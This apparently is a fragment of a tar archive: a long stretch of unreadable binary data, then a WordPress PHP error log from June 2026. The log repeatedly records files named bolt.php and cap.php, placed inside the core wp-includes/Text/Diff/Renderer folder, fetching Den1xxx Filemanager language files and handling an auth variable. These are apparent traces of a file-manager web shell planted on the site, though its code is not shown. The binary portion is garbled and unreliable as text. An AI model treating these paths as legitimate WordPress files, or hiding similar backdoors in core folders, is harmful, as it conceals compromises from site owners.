F]_I{(i{G+vpÀ)Du xWx Ю[PӍg~Gb.{BK@($	hWP$<%PKB`wCZOOnWYaP<XT0薬\LkjAĥԃd)J3E'|çσ'?^TEE$ßvEs Y(;xe"HCޑx~GB pY5$$~0_ՃZ0q9.WxBQH	e'FQJ dXq&J`T	iXPRR50;NZ#X< i1~Vf*zD&Nl˦qN۲wﳙ59܃"HoxMSmP4}!-^i$8=ɏЕpo'Ɲ:wrW1ՙifedYM[rH!f:\'1Cm`heFNZ$aի`BF!kHn֣i!XÿSGv 	t06'8dV8h.(}gSY6\%LjE<.^Ts56\jZޢϻ48WGI3pARޙ4|3BY=puj	rEu$8R`+X0{'KU+Ez.cbZ  Q=f3!@-y![Q*ĺ)Ƞm~-3ĀʯnOhTMlDkN q
_fZ
*nQ#șgt5k,2hɠM'F^LV$9"/-`߸ޫjaapcWd;Vl|hK$!bbQuBsa"j.lM횅.D7Yd[nfjYD.乫9d?ӇU3W`8]_~ֵ$abjT$;]Zr]O&AnSp9 EtLzIvڵb0S%[m'?zoXoLV@1ߥ:&I~ꔆ9%Mɠ[}ލ7@fX.c^^,&[ӭ6#gqǈp>ͱEJ<K@12-.uV7LBRԇ-KMu@FeXl$\/%t\>pnENrÀ.]4@u-]JXRhA3ZVHu7rD Lq	]bR{'Ù:s>;fgN`n@u:z|Y9;חRT]g6G%+d}D$hDJ$ؙ+$/e}WH@q0>\q;Eh\ iih`jd/zs%[ 1ܮn9t/{&7OGs;8d2݂+A~Suc@$X
v9}2Kb mXҞrr	` tN5̈́%J{0}[ W|M?PĠ4-ӀojUKd
t*SaNoXoxLtx $	]CmC/.Xr2S/%}K@%<Cap	ķ	H,܁C+h5-6Ĩl"XO[vIM[B9%4[\;ܵl7Ukn}THj3v)_t
FRy:dYn{H|6\3GNHm.Gn;F"My
U2I1Rld4UjjLƸ>^#Rϧ iۈTO%d|s~۝ź5eCLajK"
(!?#){JK\p3!Ջ2S6Нz2fex4wH2:W| ;YzHI٥?X>Ť^Yq*|ϟT4Ut$I{+_xK
RφIFi̸h.4r,ote/9?NFR.HT1D3CCU
3]Hw9K1g_V,TJ7[ʢO+6'ba5%c)=2eN8,rjRA.;JA#ɀ\;Fc>-mAz,Uv.jMa
gKRu.j/BN2?TXt -tXxT͕l22[GehM_I=2o^> clЙҖ*;2Yxؘ@.|EM'us,lvt%(<\gٝn`@6@JX'>8d*?l*l6;5Vu,?-NYf|?S|T+"n1 Z56}C3_vz9dclZ*0=M.fHe~l.Wrf:Ԝj~nL.;R쓂w>a u6&I
QivRn{Ízi$Btɴ63 cΊtH`x&Br͔O3^^3drZwxN1XJK yO?,vgZ:}Fi/5k5?!=+\sh6K}Np!eچai5bc	Du	ZHɕ(Vvr6.%HuwVK=:qYޥWJ:}ך#4;
4jU)WkL6To5GܝƠJNQvlk'|FvcåPk1V`GWU}~Tx1!wckͬ6J[κ ޿VXy{۲M¼
Mt0;ov7 ƥuC;Aa^:{zQњ!qMݲ !,[PP 4ˡ{ViQDV}-`*|+o3#,!ouu~+ (g] u{<O@04ȭpwI:%ԍ9	;x2Â2|O"C4ZP.}8etw~d*Ty30C&UT8 ]ybMPuGBK	mi 'zjY0RT6A)ZtuZ< i淠pu\QtL^1tFP߃}~#	~#? A:qaA O0y+  ߬3f2xN?QB1f0mN}~.0iMm^W\Zϩjf٧b ?h6=ΩTu	$a`P%OKVO*H۠ҠV5鞰`ƹnDR}ȲCղm7=/W͏"6pZ@% d2C/Dj61>=ͩjvPׯyMvo3df6Abh荰1
FJa]XLTA(1EF:ٯg/9W\n2 ۄ`ޢ6{ٽIgF3E#Z@kM2[Zg#V*|͘3jXL&ilڠwЋY~xiviVs~QևaawGwǲo_7;ێւz%8qysO!n. )ȿ$/	"X87^biX58eMzڑ,}ʩftW]UP=Eksqf;n.ZPD
VJؙ*3}m	isOImLGù6e19C̵QeyȩI2bY\05
֌vx	SW-c>gn-HU8󙡪%F5~{-5ܸ~Ya1ϊraDqc>S*h=cHhTEg\PC+'G&X+lt,֨
kD;]WVa´3SjNqG=j2w;eRSc'=ͅ-:z2;Vv0m.QS@ 8?s|:Rs*p	Kp0jlK9CMi$1Rg[q8nD|.HwZ7wmiTOǎh!18i~exw}c.7=x>\~V
 7ZhL̆@ȷaӟmA(P6%.?u]C|Ti9!&G$73eh٣Ʃn}V֘=%g*6俩nӤp	2ˌ%vw6	jaΫ$7,fdAwMpb,ԅE|GlB.3{,<sqZ}AU>$b>~9u,/7yU3u%S6Nh	SrͲy9	Bzap!.Np|4T׏/?`S1^I=|T$DZ
"u,VbΦmH6	zxG mYеnRpAD&z&U'hp\DRG
-<-'\Sv|SH<В+fWSrDK-Wd5-a
aRNx!2 (5ql0W+|U}_ehY90
2 Z<KMkrxO	,)OokٴVdOPN >n]c= Jw~/ݙ*2%BLнnY F,k&4	OƄߌ&Ll'9>c̄s RX7!Ft'16FvLKr%xhL`\9q4(~qy9k5CV(hVpPh=لXU۬溊V7KAnooBX54˵:X>t24nG8M]ϔZ\K'ZFd8*?{17.%׾gggF<e0̶;j@!c䅏2;fKg\o$iq}ı'PUם;Ma=>.q6*a
VhvxYUnoFԽʕuzɽ>4Gv)%䐭24y_ls Z*(A{dC	P+O.	^Oz2[~IsUr,A30[Yh$7[%/7 y~C	dŋQ1(x@
j	>=->mXhj
Is"xxgQ?Aytҍ	0lQ&p\sgS\.VKa__}/,5r6~>#9:7M2J#j@~i@E,.>琅~"h<C.gX!F<u]kc[H-U?sl6Ofga-D֩ rAx:Z$L_.-aI[@ 22};aEI~;Ό⪵4 \iAY|`!U;¿=EV3ab,OdcEdYGjr>ZYo@yߏ|Obd|)\O5|7
VQ09mub!QL߭\}M3
I.+o:N{LdgE%LκvfcMjs!]uR(ɢHjHJb4WTŽ*)ubᰝ$}6de)2Y&Pl鱐LfaV%ϼV,JfL1J9$M-nqr&)ߢ=+N2%i2=l'K t>Sd.)'I~4}Fjĥ$nDFC+rtL5X#Nd&r:dj٤O&;dj(YlA|b-EkБSZps]O˳pX,]#0h<Ζ|&i,n暅锬ǙJ&JZU2\L<dJ{1<Q&r[N{y!M	)\)ʔ0X7ʝP.YzX=ۛ-0ꬴ>U2	[LvIbd}c1rT}>J_Y<YIrKlW
B'϶ƃpv))XSjη/BrLn+ࡓ7WejF@k?n
dh3N&(V蔒4fBxHLH.q#/2.IdiҩJv*>$SC*ERir7
cnR,%jnl0JҀ6lVRMHɐzܿ͐Y1*t'A@r|:/Pq+@tM5ŅҬvsbaR̿+l0~7+v)w3
5f^nBcb=q>fX6b6(TvR5-RzXYVLl%16ZN?n84éVnVeVi:-,-<V,WH?KuV=B;nnz/+]*fb;ctH.Uʏy2*zz(Z)a0Se q_/x	gꋼ1qR=&T;Zf<u|Ɛ[fS]Fu t@)@̕6#dMrWc+~;:32+\3\⩾Oڬ^I}v[z]hƗRQ>9w\0_ڥ;c[=efܦ۝ev[ZT76rZz*wc~[\5..݊>_7땿WF Ez#\CrϬr%`TRp*{Ru~Q,T]$*zMeÍCT3ΦcPx>|)ϗJL?W./vN\>Ǳb$7׾iSJb 9Gpj~.Cd-58Rj7ۢ_d#k*	#9KGbpe0({gxw^0"LnEJ*4kwwÖ.&X7鏫F;z~hj*t6&ĻygP|VYhL%6FWV{\A+XrUj_|;/L@br$ـ>JJZq";e=;vWdq~Qȸr/"F3;YZ֣P)YQe 0XOz#ͰW@l
dYKto}.uXz0?V =82@>gr	Twk#s&<lQylj-N7LD׻>6=zJ@DHWQa2c[_2vԋod:VX>oj}|^"lH7гn{[`p^fz]R܎U7<}UHdP$}4?MwRmqɧzr[XŊ#o~G	0Լ7<TJ?%r¾oB0*D|Iz^`f]&_lnJ~?iC׎4J+XXKՖ]u*y+R!W]e9ۆZ.F&cIZٴͅ4Um7jGʳT[V{loz*bjiOƏ|%U9_d,\-v݊>cbk׸rբd:zyX3*P:^ZajXzW|x9#;n6*{wHY1y@p6#^(HK(0K!%{YiTÇOrV*BR`5{ݫQq1/nR)Ja/Ɣ:PZFe"/N^(FNlnZ&f
8Ly)yseIG;O`aCf/zǖoMmJ]ʏ3OxYQkK3P5@}:ޓkA|ÓjD!kkdƆ ukѭ7;^eZ|M}V^$Ǎ,wnuZCHSڨ_wz+I
m$3تwy| F|nթ;!mEd2~c&)ZEZޘ.VD5Wr{GNc[kƥI&s\v=E`?47'l4gF8Z0 G^o$[h|>Iljz)DKFg:k&Uݎ1QPȍ(0bFHSa(/ñ=қI52"'8ٟd I )@GׁX;ĳAs`ҭ7`u	mqgzL6I`SHSoͳ`9F,8X'#,))Jn7L6n$>0pɈn	F,J7n6?ӻFmo3V,20KnWDe{AƲ@+2-u]~dLcI2(8; R)>dNn䓥\1tvhhfrx](m4cLr2R¦;^֛ƒP<J!+VqmtR|99oaI Oev ]ۜĢZ|G^LN)8,M癘֪ioi[3'f/ūYX́M;)Y,Ur;xҚen]?R}^ɛm;Pfd`2ʪȅlfo3a44&Xj,5N\#97ج$SCo?[	|8՞֭Xe\yݶFrO:w||
Rjo4ZFS.PwɖޱrIl$rjCzm34ff|Pmjj@џb9ɏd}#J!<xs^!N5KR5j.=;zB/xӥQ^*}FURdҰHoY1$|d|xBŢu^ U,W{X6\9(Wnv:rEKi,Kaa9--------------䧳~6Tb*=HyJ`+/¬`3N徝"&J9R},(7ەB/ȭ7iD=Xaͽ$CF%XCF)1DlkM!C삹X+޿*fPtþ)uqPNVЌz]P#6ߓi.E{"\kEJJf;x'>!nzժ` 23L+_֪zr632(k}o(QζΒd&^әBfKt=$'Q@P招@aJB}(Vp5S8qT+X4,/bn2ὙM 엽2C6?vZnv0TR)/n'ta	Jq>FvdJq8,'FhlPhBڄ̚Ng-NFӛ2_<b|f}s+M.ٴ+Jé06UtK;|r%a/W(rd̮r>ZaS6w	"aG^ZM~tw2Ax]=z'#5`"_\RFz`<8+#с]<F5 T X!G =(PNV$WBs*[EW#Qe1=w[bms7/fA+Eƫ0ނn}o]-P@OHo5(܋ELFl=
I0U'UdyeiFb9&ߏ&&(ƫ*ǻ0wG#0][IQIfPl͒uR0uE UtWlqX+Iҡ*R;^oBJXzno1ܔšW
quꋥǇ(E6},w}Gb$rYtE{IJ00R1|G,EK0ih姫0^yc+:*⬔lNS]I喟_{lsnͲTXW$n-H)n_(: w<S*J}Yi8*!sf
(0с~H8;lG`%4>r^3<s\c3rciXإVQ"%y]qWȆL)S3jkNC=+ XvAlJ 
hE97[ʒfrK{0Lq~8\*鋯8>R֠4 +	Ձ4sUkiT)Ur5.њw:aޟb<\o3T`<YyzTaXlbnXoljTkyQ:ҁ˃bc``7<!luf)	M~dh"0<
^R;2}V;2`##N/Ԁb0&@ɷ3r?TyBNoyyS[}' 71 FS[I"~z^|`05q1H)ـk}r>' y߇lWW
eaı\i͉
<QCwM2ero}x	
Q)-_2OԫNN,x-Eh|hvGc[ M;aFzAx.Pn%HDQުg͡ڌ8ƱM8SeTè%NaUD!Lاv}/e
(bǲ"u*(x(P*Ԃ1. ˓k!V-:/	aCP:+*^^F`h@p@l0
˳f3<j$zMq	||e;lr+@ c	5x2R!$-/O1iDD'#φɃ(ra^v9{._,`8ci%9M*|шgG_kl@G_-2>;Pj/D yir>W=q>Kw
&=V6	%$dO91ʋLaDzR]>Bٚ%v$-h_2 Q̜z ({:%`slAbarb9
b{ףe9 gzҨqh6$ⷽ2LmuudȮ\Pѓuaˢn rP\+Zةv|~g+b.	qSDvV\[>UiYkWS!u]
K\O2l<H	W>X"߱Sࡇ(|΄WFn"ךMi %ȭ^7z.>ɥ|s7mdw&<eJ75֟c)PD$vr\ac(ӫ>u2H_ũ}a?́Լ'I%3N;-pJ@O.vP]ٵ;!^Y4:;mnbĄ"/jK.ƾLyH9j}kt#D2U8Lkd}Ԛ\t+*$(i>fIuKHT'<~B4YHۧ:c'>?ت|Y.@j#@F4!R@ʘ8m
,hAPSJ	}Ӏ8*A!~}difs"t \c	rih'񡁼Vo0?C(Hߛ00
WGG&sn'!F61G㈯Q+6ۭSB`jY|?-śYwNN~?vfa0M@tS(F91e,;YhZ4TFi;b5b+2j8ou(.-Kd#.(=q"T4^*Pc(1焝B Vя ȩ.9e`ԛ 3a U.c@JѮ3kw,S%Fa&(N!@Xofn	ΏjZխSHU9^px`c6I|zI~og@>NX$BkSwf'.ٱ 9sX&'19;eLYN(s;E:\UW=x)njhu;9\6#};UZ}hEQZgXg"j[xT!pI-+7 U\R.5x0Bz΢JI	^e~w@<L-1U{^DA6\BCZ	`wYq}
O(,aǜD2qR-3r|{:WM"+f.k\9Ɖa9:3p>iqƞ&[ɮ
,É	"u.YINBw*r&xOZr{i/z`e	IN԰̓DѤ32w`W6q%	p^H2c&\EL* ıK(Ռ'1\q#(,3lc<:2J<C|]f	DAMQk(0׍:$lK-WB6V
&h2xlKOz*oז Iǰ4"U5Vڅ:Z/2Wx4=YmLL@y٠@%,HԢ`ȔhiZĉ' 
t^_Sq  |\P~rl,`x8&Iꎗk{\$!QUkYN<Ko4?K`ܨccP3}r#ǒCن"	u'j'({0S)|NTY
Y
>#UV b
x{ysymRDP<ɉ.൤+Ep@hJ,F7rq:dQ%ɏ7I!XnnV	y'k^dS65Z%3U	'LNzogS^0C|Dz?p}D&S՝KV+v#B1?t@tQ5ƢbR2^fTxY^עaT%~ter1ڶ,n[nAw?vKюQn\uiqiVeжe>@7]Yhpa;^N.ܙ8aDvWW^ށ¾LTVK2O02c8|	|[	zՖPP2qL{PX6]`KAc"1Za%bMSM8r9,Z!G4+xrSV*֪] ɼs`OM<Z.GTl`3=c8 Qs簦e4l@F `-	E۴	R:mŸK Z8:!尠7^EÔEvy-0o-*OCqAn1A}犄Zm oֲc17p0^+
f]ZSVOZ:၀>*']->|8]!"SlfZs 'I\W/2! &S?9l3٦i|w"=<Vh`4؛SC4xUnwݞi~yKTBRhB+60)x]:lPH
jX3g? -5qOHԄAw #Jw-Z=}gGD[SEf,6w(&AXX.Ls=Q+h:e0:AN`2F?)rhvFMsI_c-q.?F	1j2yq5qB>7?:v^OJ*H/!T@KsF5dQ|)6pG]%!Z2Ɲ^jug*Hp*?YZ|Z57g	PWkyU9d=ja0r@uUK%a)n.*yV #%:n8ZUc=/.ѪZ-B2+G5[j}VHC	B0`p؈^7P$ l3B3Z/s9m3$ry	Mo}^KͳJdoYDB,`$T `Xْz0>p8sM#,9g@̃Kg(N2MPzCgVXKBºGz~,1Q&:jR˚H[:vJ0g'2QP'ℝzZ~BJQмU'WTjTi"h'a~"H ){fk.6Ds}ϻU>NuPy@_Ig+vD;Z[w7ߙx	9tsbmasӖE8OfV 8zvj5;-f7YԍX/q?:e:a25P,NfW`͊O8c,DpyLD@],rI&;BI'%p;BwGhwG|p=.5F S1 811/n6ĎP1dhJ~;h<6zM<GQpLmV:Á
ӤFM1>?L*3s]EdX90XF	#$!xc2xqGG6ƅac
lu(!5^`8NF,с4t΄DQ4UNZgU@PBMQ32Pe:z*8dy-qt-z*03VfB-/lEje<i>({E
YE3ECǅK U&m:Imi,Ҙ⍳t87`nJ=S"w~'֝_;ݠ*p)ihisGlqFD)FmmH`B&*F<-qׄE-ӏ7ژBɗ[@1q4쟥~,<kXUb6x𘘚-z촠Q% #SB-;4j.AFy͉L5ᶶwC1OKj?bP@Bhiq'2\=m+JD"^<#::5]}TQ0G@qT.Ocp"b&0s|piz"CaK24al2ܦp 5zĩ)@* 2^ˉq5FY	tݩ-z\Gbthr=A0ohP:А =r%.F`]԰%0X (N2*G-sA F84++HwD(滆&> p܈ĞeA/	^Nd	Bi'cw"#+"k\Ck:{4A׎p[{WhNY\^
bl$o]$HM.,9߳c X	ȵ?bهl{K_+"eJpJUz?'nnZEikxA/pfVVPQ']u1B9v9'	T5&%xw*aipbrDsS$pZh
Ɔq;HӖØ&]{7xv؛B5
{UwR,cjE	*D}oPIﳧ[l%6]-{+]^=wL6ڹlɚtLĂ%ӼPxi
XTyŤ}	TZ`nE*cW S]^x%bGOȣZG.Wo@u&J%<+ϔMS->k[Bh7@z IE{C5`;N*ׁs--|@jdpR:Xd,~{`x-:w:@! onǦ
zt 3Y`>>f#U ڡ+ݬ l/fŁdNj}Q<|IТ$/]iA9Kf,,
	B=H8ÓKscݨ|GV,Y)C.8~
V+I^@e7 "Æ@'1!IjQ@a77e\qefiCԏR*ϒ50j-ph2l`֣@hԈQυ
市;wBM@N5*Dm-qׄGxFhr6$pYVPYNW{qDM!\5=`? we!	@ͦh
m<SO]HLm5,abb`HB,Oiu( b1zgvnSiS5(@:l%9lhZLB~r!{xR{O$Se!rU8eDFڽIʛY:LgL!j@gڈ1si|k!y狞fSڔAӪyVU*r3UuWchNZ)>Q'+}5y1s&h7teI`Ctya<s1.4YncFm Ϳ0I8e	,2>zOUjG$&5-M)TQ^`f~Aoy81;F&ߢvq,r.WKF)֞!6jiJMLP2O?ω0b~)W-}A]+=$I	`abIvwaj砌;l4صq %<@'kHA<CR23a<'>K520VL`j-1_M:QY^J *6PQFs7G7S}cOJ>-i~n5ձ23ǂ7@gő/-R>|: :iޯ%)[M;ZXB{	-R7͑xwW+h MaKO(I)f$x@բ݆;V=$uuGW,ZlSqi`r>lF"AVkMp)tX=  ,7fޠ a\8|a 堼h/o(xDD/{|Y[G%}-I[뤣jz8ta^x=8G?`R=FsJp:&ud	?Qj7 ݥH)TuPteh,|&6GzɁG1q<<gΔˀAhͥ"88*M3K3^]	AND8v"MffB#PQ:wnN:"PUTK'bʆ[$=9kDܥj<aupb	® ٵG7x  i,v5޷~%mpAcL -q+Cwn(;N{p 8OTr6L,S =g֝7lz[(Ӟj6(f9	ڠ։ٍF^ښAux~g =m]m`@0M}Gƿ%ԓmǓ~T"ۆO*g'ˢ>;"/.̺Gi..г_gPt{YY0[0DuX{ĥ_)<*vU^2__LPK,&i#p#%Q<T7Fk\Cuh훸Rs:exVlOxxV!S4ebP^5A3OVfT2MV5y bbg[ZDv鱮Zqjj:֭5/g=`O}V3eX+ӘAM&ޞz?8'aXU6np
K 3[BYRtY8q`}\{d?$ݛDZ%ǞK#Go@'AA@B5<[|E}>$[
4Hi*

=/ I |T [$YRSvLRᐤLhf您> "Cch"ƨ3vȀyL pk/bB,@IpĶ0#qСC&hʺvw[JXIM qC7f1kAgt!T9z.{q)od)q
b}lAV%t:^ I@ү.CerD 3fn	n'{8'x5[x{"GBCx`"pz`\CY@lބV"~=A;J}++Sа=?$	"MqcaFNn/]X ȹ9'̤M1:%3q+|<RT:hOg<ϖx3D>

ى=dE`/ʌdE	L=lԣn&8klB#f6@	c(Zf`8Qw +
FKաe	agUx3krwPup}~K[t|ӎ<vԟVf'2Xc2tr^?XvM>)m{}a#.-.
}|Y0ʇjOXE,Ht*t:e΋΁Ԅ]$._(J˄s1]_<W~.Q|b<v2qo_`qplj+	x}=Lg$:a@0{2X] ub`b3MS1{MۍkTgs1=P86!P&g?ޒub{9F|h!	kI;oMNf;1}w'aէw:}׍/A`gu2ftթT+yƴ3YkoZT+L]?9fʩ'*8]
S3S_oWǩOf6o!{脠5Nq|2)/?_~| @                                                                                                      error_log                                                                                           0000644                 00000125155 15217301621 0006470 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       [25-Jun-2026 02:42:09 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:09 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:42:16 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:16 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:43:20 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:43:20 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 17:18:53 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 17:18:54 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:38:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 18:38:54 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 18:38:54 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 18:38:55 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:01 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:42:49 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
